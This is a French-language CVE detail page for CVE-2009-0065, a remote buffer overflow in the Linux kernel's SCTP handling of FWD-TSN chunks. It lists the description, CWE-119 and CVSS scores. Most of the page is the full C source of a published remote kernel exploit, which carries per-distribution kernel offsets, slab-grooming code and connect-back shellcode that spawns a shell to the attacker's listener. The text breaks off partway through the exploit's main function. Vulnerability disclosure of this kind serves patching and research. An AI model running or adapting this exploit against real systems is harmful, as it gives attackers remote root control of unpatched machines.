CVE-2009-0065 : Détail

CVE-2009-0065

Overflow
8.94%V4
Network
2009-01-07
18h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer overflow in net/sctp/sm_statefuns.c in the Stream Control Transmission Protocol (sctp) implementation in the Linux kernel before 2.6.28-git8 allows remote attackers to have an unknown impact via an FWD-TSN (aka FORWARD-TSN) chunk with a large stream ID.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 8556

Date de publication : 2009-04-27 22h00 +00:00
Auteur : sgrakkyu
EDB Vérifié : Yes

/* CVE-2009-0065 SCTP FWD Chunk Memory Corruption * Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit * * coded by: sgrakkyu <at> antifork.org * http://kernelbof.blogspot.com * * * NOTE: you need at least one sctp application bound on the target box * * Supported target: * Ubuntu 7.04 x86_64 (2.6.20_15-17-generic / 2.6.20_17-server) * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server) * Ubuntu 8.10 x86_64 (2.6.27_7-10 geenric/server) * Fedora Core 10 x86_64 (default installed kernel) * OpenSuse 11.1 x86_64 (default installed kernel) */ #define _GNU_SOURCE #include <signal.h> #include <sched.h> #include <stdio.h> #include <string.h> #include <arpa/inet.h> #include <unistd.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/sctp.h> #include <stdlib.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/select.h> #include <stdint.h> #define __OFFSET_PORT_64 62 // 92 #define __OFFSET_HOST_64 64 // 94 //#define __TARGET_SPORT 20000 #ifndef __u8 #define __u8 uint8_t #endif #ifndef __u16 #define __u16 uint16_t #endif #ifndef __u32 #define __u32 uint32_t #endif /* start crc routines: ripped from wireshark sources */ #define SP_LEN 2 #define DP_LEN 2 #define VTAG_LEN 4 #define CHK_LEN 4 #define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN) #define CRC32C(c,d) (c=(c>>8)^crc_c[(c^(d))&0xFF]) static int32_t crc_c[256] = { 0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L, 0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL, 0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL, 0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L, 0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL, 0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L, 0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L, 0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL, 0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL, 0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L, 0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L, 0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL, 0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L, 0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL, 0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL, 0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L, 0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L, 0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L, 0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L, 0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L, 0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L, 0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L, 0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L, 0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L, 0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L, 0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L, 0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L, 0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L, 0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L, 0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L, 0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L, 0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L, 0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL, 0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L, 0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L, 0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL, 0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L, 0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL, 0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL, 0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L, 0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L, 0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL, 0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL, 0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L, 0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL, 0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L, 0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L, 0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL, 0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L, 0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL, 0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL, 0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L, 0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL, 0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L, 0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L, 0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL, 0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL, 0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L, 0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L, 0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL, 0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L, 0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL, 0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL, 0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L, }; static __u32 sctp_crc32c(const unsigned char* buf, __u32 len) { __u32 i; __u32 crc32 = ~0U; __u32 r; unsigned char b0,b1,b2,b3; for (i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++) { CRC32C(crc32, buf[i]); } CRC32C(crc32, 0); CRC32C(crc32, 0); CRC32C(crc32, 0); CRC32C(crc32, 0); for (i = HEADER_LEN; i < len; i++) { CRC32C(crc32, buf[i]); } r = ~crc32; b0 = r & 0xff; b1 = (r>>8) & 0xff; b2 = (r>>16) & 0xff; b3 = (r>>24) & 0xff; crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3); return ( crc32 ); } /* end crc routines */ static char generic_x86_64_shellcode[] = // prolog "\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb" "\x48\x39\xd8\x75\x0f\x48\x31\xc0\xb0\x02\xcd\x80" "\x48\x31\xdb\x48\x39\xc3\x74\x09\x5b\x48\x31\xc0" "\xb0\x60\x0f\x05\xc3" // connect back "\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58" "\x0f\x05\x48\x97\x50\x48\xb9\x02\x00\x0d\x05\x7f" "\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a" "\x58\x0f\x05\x48\x31\xdb\x48\x39\xc3\x74\x07\x48" "\x31\xc0\xb0\xe7\x0f\x05\x90" "\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75" "\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48" "\xf7\xd3\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48" "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0" "\xb0\xe7\x0f\x05" ; static const char __zero[4] = {0x00, 0x00, 0x00, 0x00}; //static char __force_crash[] = "\x41\x41\x41\x41\x41\x41\x41\x41"; static char generic_x86_64_patchjump[] = "\x48\x31\xc0\xb0\x60\x0f\x05\xc3"; static char generic_x86_64_jump[] = "\xe9\x2b\x09\x00\x00\x90"; /* ubuntu 7.04 */ static char ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow[] = "\x00\x40\x56\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_20_17_server_x86_64_vsys_shadow[] = "\x00\x90\x5B\x80\xFF\xFF\xFF\xFF"; /* ubuntu 8.04 */ static char ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow[] = "\x00\x50\x62\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow[] = "\x00\x40\x62\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow[] = "\x00\x30\x62\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow[] = "\x00\x40\x5d\x80\xFF\xFF\xFF\xFF"; /* ubuntu 8.10 */ static char ubuntu64_2_6_27_7_server_x86_64_vsys_shadow[] = "\x00\x30\x6f\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF"; /* fedora code 10 */ static char fedora64_10_default_kernel_x86_64_vsys_shadow[] = "\x00\x10\x57\x81\xFF\xFF\xFF\xFF"; static char fedora64_10_default_kernel_x86_64_selinux[] = "\x84\xE6\x7C\x81\xFF\xFF\xFF\xFF"; /* opensuse 11.1 */ static char opensuse64_11_1_default_kernel_x86_64_vsys_shadow[]="\x00\x10\x8E\x80\xFF\xFF\xFF\xFF"; #define __msg_f(format, args...) \ do { fprintf(stdout, format, ## args); } while(0) #define __msg(msg) \ do { fprintf(stdout, "%s", msg); } while(0) #define __fatal(msg) \ do {fprintf(stderr, "%s", msg); exit(1);} while (0) #define __fatal_perror(msg) \ do { perror(msg); exit(1); } while (0) enum { SLAB_ALLOCATOR=0, SLUB_ALLOCATOR=1 }; typedef struct { const char *name; const char *info; char *scode; __u32 scodesize; __u32 portoff; __u32 hostoff; const char *vsysaddr; const char *vsysjump; __u32 vsysjumpsize; const char *vsyspatchjump; __u32 vsyspatchjumpsize; __u32 chunksize; __u32 slubsize; __u32 ptrsize; const char *selinux; int allocator_type; } kinfo; static kinfo *k; typedef struct { const char* target; const char* rhost; const char* lhost; __u16 rport; __u16 lport; __u16 sport; // defines associations __u16 nconn; } hinfo; static hinfo h = { NULL, NULL, NULL, 0, 0, 0, 600 }; static kinfo kernels[] = { { "ubuntu64_faisty-2.6.20-[15-17]-generic", "(faisty: generic kernel)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 256, 8, NULL, SLAB_ALLOCATOR }, { "ubuntu64_faisty-2.6.20-17-server", "(faisty: server kernel - last 2.6.20-17 build)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_20_17_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 256, 8, NULL, SLAB_ALLOCATOR }, { "ubuntu64_hardy-2.6.24-[18-21]-generic", "(kernel from 2.6.24-18 to kernel 2.6.24-21 -- generic)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_hardy_2.6.24-[16-18]-server", "(kernel from 2.6.24-16 to 2.6.24-18 -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_hardy-2.6.24-[19-22]-server", "(kernel from 2.6.24-19 to 2.6.24-22 -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_hardy-2.6.24-23-last-server", "(last 2.6.24-23 kernel before patch -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_intrepid-2.6.27-7-server", "(kernel 2.6.27-7 -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_27_7_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_intrepid-2.6.27-[9-last]-server", "(kernel 2.6.27-9 to the last unpatched kernel -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_intrepid-2.6.27-[7-last]-generic", "(kernel 2.6.27-9 to the last unpatched kernel -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "fedora64_10-2.6.25-117", "(fedora core 10 default installed kernel)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, fedora64_10_default_kernel_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, fedora64_10_default_kernel_x86_64_selinux, SLUB_ALLOCATOR }, { "opensuse64_11.1-2.6.27.7-9-default", "(opensuse 11.1 default installed kernel)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, opensuse64_11_1_default_kernel_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 256, 8, NULL, SLAB_ALLOCATOR } }; /* modular arithmetic shift */ #define __SHIFT_CHECK 0x7FFF static __u16 shift_0_to_7fff[3] = { 0x7FFF, 0xFFFE, 0x0000 }; static __u16 shift_8000_to_ffff[3] = { 0xFFFF, 0x7FFE, 0x8000 }; /* global streams obj */ static __u16 streams[1000][2]; /* get stream flow */ static int build_stream(const void *data, __u32 size, __u16 fc) { int chunk_num,i,j,stnum=0; __u16 *p; __u16 *shift; if(size % 2) __fatal("[!!!] build_stream: data unaligned"); memset(streams, 0x00, sizeof(streams)); chunk_num = size / 2; p = (__u16*)data; for(i=0; i<chunk_num; i++, p++, fc++) { __u16 val = *p - 1; if(val <= __SHIFT_CHECK) shift = shift_0_to_7fff; else shift = shift_8000_to_ffff; for(j=0; j<3; j++) { streams[stnum][0] = fc; streams[stnum++][1] = shift[j]; } streams[stnum][0] = fc; streams[stnum++][1] = val; } return stnum ? stnum : 0; } /* some sctp packet header structs */ struct sctp_hdr { __u16 sport; __u16 dport; __u32 vtag; __u32 checksum; char chunks[0]; }__attribute__((packed)); struct sctp_chk { __u8 type; __u8 flags; __u16 len; char data[0]; }__attribute((packed)); struct sctp_chunk_fwd { __u8 type; __u8 flags; __u16 len; __u32 new_tsn; }__attribute__((packed)); enum { SCTP_INIT_ACK = 2, SCTP_SACK = 3, SCTP_FWD = 192 }; void disable_abort() { /* lame trick to block ABORT chunks from reaching the target! * ABORT messages are generated because we receive a SACK with an out-of-bound TSN * in reply to all fake FWD sent * (when this happens local kernel kills the connection) */ system("iptables -t filter -A OUTPUT -p sctp --chunk-types any ABORT -j DROP"); } #define FWD_MAX_SIZE 0x1000 void *make_fwd_packet(__u16 sp, __u16 dp, __u32 vtag, __u32 tsn, __u16 streams[][2], int streamlen, int *p_len) { int i; __u16 *pstream; struct sctp_hdr *hdr; struct sctp_chunk_fwd *fwd; __u8 *__buff = malloc(FWD_MAX_SIZE); memset(__buff, 0, FWD_MAX_SIZE); hdr = (struct sctp_hdr *)__buff; hdr->sport = htons(sp); hdr->dport = htons(dp); hdr->vtag = htonl(vtag); hdr->checksum = 0; fwd = (struct sctp_chunk_fwd *)(hdr->chunks); fwd->type = SCTP_FWD; fwd->flags = 0; fwd->len = htons(4 + 4 + (streamlen * 4)); // chunk + ctsn + streams fwd->new_tsn = htonl(tsn+1); /* build stream */ pstream = (__u16 *)((&(fwd->new_tsn)) + 1); for(i=0; i<streamlen; i++) { *pstream++ = streams[i][0]; *pstream++ = streams[i][1]; } *p_len = ntohs(fwd->len) + sizeof(*hdr); hdr->checksum = htonl(sctp_crc32c(__buff, (__u32)(*p_len))); return hdr; } /* this function gets VTAG/TSN bound with this socket pair */ int raw_socket_engine(__u16 sp, __u16 sp2, __u16 dp, __u32 *tsn, __u32 *vtag, __u32 *tsn2, __u32 *vtag2) { char packet[1500]; int p_len; void *end; struct sctp_hdr *hdr; struct sctp_chk *chk; __u32 tmp; __u16 psp,pdp; fd_set r; struct timeval tv; int raw_fd = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP); if(raw_fd < 0) __fatal_perror("socket: RAW/SCTP"); FD_ZERO(&r); FD_SET(raw_fd, &r); tv.tv_usec=0; tv.tv_sec=10; while(select(raw_fd + 1, &r, NULL,NULL,&tv) > 0) { p_len = read(raw_fd, packet, sizeof(packet)); end = packet + p_len; hdr = (struct sctp_hdr *)(packet + sizeof(struct iphdr)); if((void*)(((char *)hdr)+4) >= end) continue; /* check for chunk */ chk = (struct sctp_chk *)(hdr->chunks); tmp = ntohl(*((__u32*)(chk->data))); psp = ntohs(hdr->sport); pdp = ntohs(hdr->dport); if(chk->type == SCTP_SACK) { if(psp == dp && pdp == sp) *tsn = tmp; if(psp == dp && pdp == sp2) *tsn2 = tmp; } if(chk->type == SCTP_INIT_ACK) { if(psp == dp && pdp == sp) *vtag = tmp; if(psp == dp && pdp == sp2) *vtag2 = tmp; } if(*vtag && *tsn && *vtag2 && *tsn2) break; FD_ZERO(&r); FD_SET(raw_fd, &r); tv.tv_usec=0; tv.tv_sec=10; } return 0; } /* global vars */ static __u16 sport=0; static __u16 sport2=0; static __u32 vtag=0, vtag2=0; static __u32 tsn=0, tsn2=0; static struct sockaddr_in server_sctp; int raw_sctp=-1; #define STACK_SIZE 0x1000 char clone_stack[STACK_SIZE*2]; static void send_fwd_chunk(__u16 sp, __u16 dp, __u16 streams[][2], int streamlen, __u32 vtag, __u32 tsn) { int p_len=0, ret; void *packet = make_fwd_packet(sp, dp, vtag, tsn, streams, streamlen, &p_len); ret = sendto(raw_sctp, packet, p_len, 0, (struct sockaddr *)&server_sctp, sizeof(struct sockaddr_in)); if(ret < 0) __fatal_perror("sendto: sending FWD chunk"); free(packet); } static int clone_thread(void *p) { raw_socket_engine(sport, sport2, h.rport, &tsn, &vtag, &tsn2, &vtag2); return 0; } static int make_sctp_connection(__u16 sp, __u16 dp, int data) { struct sctp_initmsg msg; int ret,o=1,fd; socklen_t len_sctp=sizeof(struct sctp_initmsg); struct sockaddr_in s,c; fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); if(fd < 0) __fatal_perror("socket: sctp SOCK_STREAM"); ret = setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)); if (ret < 0) __fatal_perror("setsockopt: SO_REUSEADDR"); /* NOTE: here we assume server peer allocates 10 output streams (as default) * if the applciation behaves differently you must probe and change channels size * to get the correct slab */ if(k->allocator_type == SLAB_ALLOCATOR) // if SLAB change channel size { getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp); msg.sinit_num_ostreams=50; // force 256 slab allocation msg.sinit_max_instreams=10; setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp); } else { getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp); msg.sinit_num_ostreams=10; // force 96 slab allocation msg.sinit_max_instreams=10; setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp); } if(sp) { c.sin_family = PF_INET; c.sin_port = htons(sp); c.sin_addr.s_addr = INADDR_ANY; ret = bind(fd, (struct sockaddr *)&c, sizeof(c)); if(ret < 0) __fatal_perror("bind: sctp socket"); } s.sin_family = PF_INET; s.sin_port = htons(dp); s.sin_addr.s_addr = inet_addr(h.rhost); ret = connect(fd, (struct sockaddr *)&s, sizeof(s)); if(ret < 0) __fatal_perror("connect: sctp socket"); /* send one byte of data to get correctly * TSN from raw socket (from SACK replies) */ if(data) { ret = send(fd, "", 1, 0); if(ret < 0) __fatal_perror("send: sctp socket data"); } return fd; } static void htons_streams(__u16 s[][2], int len) { int i; for(i=0; i<len; i++) { s[i][0] = htons(s[i][0]); s[i][1] = htons(s[i][1]); } } static void usage() { fprintf(stderr, "./sctp_houdini \n\t" "-H lhost (local host address for connect back shel)\n\t" "-P lport (local port address for connect back shell)\n\t" "-h rhost (remote target host)\n\t" "-p rport (remote target port)\n\t" "-t kernel (target kernel)\n\t" "-s sport (source port defining sctp association where corruption occurs)\n\t" " (always use higher port if you run the exploit multiple times eg. 20000, 21000, etc..)\n\t" " (NEVER reuse the same or next port or vsys will be trashed and init will die soon...)\n\t" "-c conn (number of connectionis before corruption - default 600)\n" ); } static void sctp_getopt(int argc, char *argv[]) { int ret,i; while((ret = getopt(argc, argv, "H:P:p:h:t:c:s:")) != -1) { switch(ret) { case 'P': h.lport = atoi(optarg); break; case 'p': h.rport = atoi(optarg); break; case 't': h.target = optarg; break; case 'h': h.rhost = optarg; break; case 'H': h.lhost = optarg; case 'c': h.nconn = atoi(optarg); break; case 's': h.sport = atoi(optarg); break; } } if(!h.lport || !h.rport || !h.rhost || !h.target || !h.lhost || !h.sport) { usage(); exit(1); } if(h.sport < h.nconn+1) { fprintf(stderr, "Source Association Port is too low: %d\n", h.sport); usage(); exit(1); } sport=h.sport; sport2=h.sport + 1; for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++) { if(!strcmp(h.target, kernels[i].name)) { k = &kernels[i]; break; } } if(k==NULL) { fprintf(stderr, "Unable to find target: %s\nAvailable targets are:\n", h.target); for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++) { fprintf(stderr, "- %s %s\n", kernels[i].name, kernels[i].info); } exit(1); } } void patchjump() { int ret; __msg("[**] Restoring vsys: Emulate gettimeofday()... \n"); ret = build_stream(k->vsyspatchjump, k->vsyspatchjumpsize, 0); if(ret < 0) __fatal("Error Building Streams..."); htons_streams(streams, ret); send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); } static void multiplex(int listenfd) { int ret,new_fd; fd_set r; struct timeval t; char buffer[1500]; FD_ZERO(&r); FD_SET(listenfd, &r); t.tv_sec = 3; t.tv_usec = 0; __msg("[**] Waiting daemons executing gettimeofday().. this can take up to one minute...\n"); __msg("[**] .."); fflush(stdout); while(select(listenfd+1, &r, NULL, NULL, &t) == 0) { printf(".."); fflush(stdout); t.tv_sec = 3; t.tv_usec = 0; FD_ZERO(&r); FD_SET(listenfd, &r); } __msg("..\n"); new_fd = accept(listenfd, NULL, 0); if(new_fd < 0) __fatal_perror("accept: listen fd"); __msg("[**] Connected!\n"); patchjump(); close(listenfd); write(new_fd, "id\n", 3); FD_ZERO(&r); FD_SET(new_fd, &r); FD_SET(0, &r); while(select(new_fd+1, &r, NULL, NULL, NULL) > 0) { if(FD_ISSET(0, &r)) // read from stdin { ret = read(0, buffer, sizeof(buffer)); if(ret < 0) __fatal_perror("read: from stdin"); else ret = write(new_fd, buffer, ret); } if(FD_ISSET(new_fd, &r)) { ret = read(new_fd, buffer, sizeof(buffer)); if(!ret) { __msg("Endopoint closed the connection\n"); break; } else if(ret > 0) { write(1, buffer, ret); } else __fatal_perror("read: from net"); } FD_ZERO(&r); FD_SET(new_fd, &r); FD_SET(0, &r); } } /* needed when exploiting old SLAB */ void swap_to_SLAB_chunk() { __u32 tmp; __u16 tmp16; tmp = tsn; tsn = tsn2; tsn2 = tmp; tmp = vtag; vtag = vtag2; vtag2 = tmp; tmp16 = sport; sport = sport2; sport2 = tmp16; } int main(int argc, char **argv) { int ret, fd, i, listenfd,o=1; struct sockaddr_in l; __u32 lh; __u16 lp; sctp_getopt(argc, argv); listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if(setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)) < 0) __fatal_perror("setsockopt: SO_REUSEADDR"); l.sin_family = PF_INET; l.sin_port = htons(h.lport); l.sin_addr.s_addr = inet_addr(h.lhost); if(bind(listenfd, (struct sockaddr *)&l, sizeof(l)) < 0) __fatal_perror("bind: sock"); if(listen(listenfd, 4) < 0) __fatal_perror("listen: sock"); /* set connect back params */ lh = inet_addr(h.lhost); lp = htons(h.lport); memcpy(k->scode + k->portoff, &lp, 2); memcpy(k->scode + k->hostoff, &lh, 4); raw_sctp = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP); if(raw_sctp < 0) __fatal_perror("socket: RAW/SCTP montitor socket"); server_sctp.sin_family = PF_INET; server_sctp.sin_port = htons(h.rport); server_sctp.sin_addr.s_addr = inet_addr(h.rhost); __msg("[**] Monitoring Network for TSN/VTAG pairs.. \n"); ret = clone(clone_thread, clone_stack+STACK_SIZE-8, CLONE_VM|SIGCHLD, NULL); if(ret < 0) __fatal_perror("clone"); sleep(1); __msg("[**] Start flushing slub cache...\n"); for(i=0; i<=h.nconn; i++) { __u16 p = sport-(h.nconn-1)+i; if(p == sport || p== sport2) fd = make_sctp_connection(p, h.rport, 1); else fd = make_sctp_connection(sport-(h.nconn-1)+i, h.rport, 0); // usleep(10); } disable_abort(); /* wait for monitoring engine */ wait(NULL); if(k->allocator_type == SLAB_ALLOCATOR) swap_to_SLAB_chunk(); if(vtag && tsn && vtag2 && tsn2) { __u32 acc; __msg_f("[**] Using TSN/VTAG pairs: (TSN: %x <=> VTAG: %x) / (TSN: %x <=> VTAG: %x)...\n", tsn, vtag, tsn2, vtag2); sleep(1); if(k->selinux) { __msg("[**] Overwriting neightboard sctp map..\n"); acc = (k->slubsize - k->chunksize) / 2; ret = build_stream(k->selinux, k->ptrsize, acc); if(ret < 0) __fatal("Error Building Streams..."); htons_streams(streams, ret); send_fwd_chunk(sport, h.rport, streams, ret, vtag, 